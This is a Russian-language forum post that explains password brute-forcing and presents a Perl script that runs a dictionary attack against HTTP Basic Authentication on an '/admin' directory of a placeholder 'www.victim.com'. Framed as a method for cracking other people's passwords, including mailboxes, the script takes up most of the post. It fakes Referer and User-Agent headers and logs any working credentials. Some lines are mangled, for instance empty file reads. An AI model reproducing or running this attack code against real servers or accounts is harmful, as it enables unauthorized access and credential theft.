Чёрная кошка
Подключенная к Матрице
На форумах с января 2004
Местонахождение: Нигде...или там где вас всех нет...
Сообщений: 77
|
Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса ). Брутфорс дает хорошие плоды, если программа грамотно написана , ну подходит конечно и для ящиков .У нас две среды для написания брутфорса - Си и Перл. Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.Итак, поехали: use MIME::Base64;use IO::Socket;use POSIX; ### Подрубаем модули POSIX, Socket и Base64$server="www.victim.com"; ### Удаленный сервер$port="80"; ### Удаленный порт$dir="/admin"; ### Запароленная директория$logfile="sucess.log"; ### Логфайл, куда пишем пароль $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)$words="bigdict.txt"; ### Словарь (файл с паролями)$user="admin"; ### Имя пользователяopen(file, "$words") or die print "$! ";@data=;$total=@data;close file; ### Записываем все пароли в один массив$i=0;foreach $pass (@data) {$i++;chomp($pass);open(file, ">$log") or die print "$! ";$perc=($i*100)/$total; $perc=ceil($perc); ### Высчитываем процентprint file "$perc% Done $i of $total Now: $user:$pass "; ### Пишем в лог статусclose file;$auth=encode_base64("$user:$pass"); ### Создаем Mime-хешchomp($auth);$socket=IO::Socket::INET->new( PeerAddr => $server,PeerPort => $port,Proto => tcp) ### Порождаем сокетor die print "Unable to connect to $server:$port ";print $socket "GET $dir HTTP/1.1 "; print $socket "Host: $server ";print $socket "Accept: */* ";print $socket "Referer: http://support.microsoft.com/ ";print $socket "User-Agent: Internet Explorer 6.0 ";print $socket "Pragma: no-cache ";print $socket "Cache-Control: no-cache ";print $socket "Authorization: Basic $auth ";print $socket "Connection: close "; ### Отправляем http-данные + Mime-хеш$ans=; ### Получаем ответ от сервераif ($ans=~/200 Ok/i) {open(logf, ">>$logfile") or die print "$! "; ### Если пароль верный - пишем в success-логprint logf "$user:$pass is OK!!! ";close logf;exit 0; ### Выходим }}Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи
Адрес поста | Один пост | Сообщить модератору | IP: Logged
|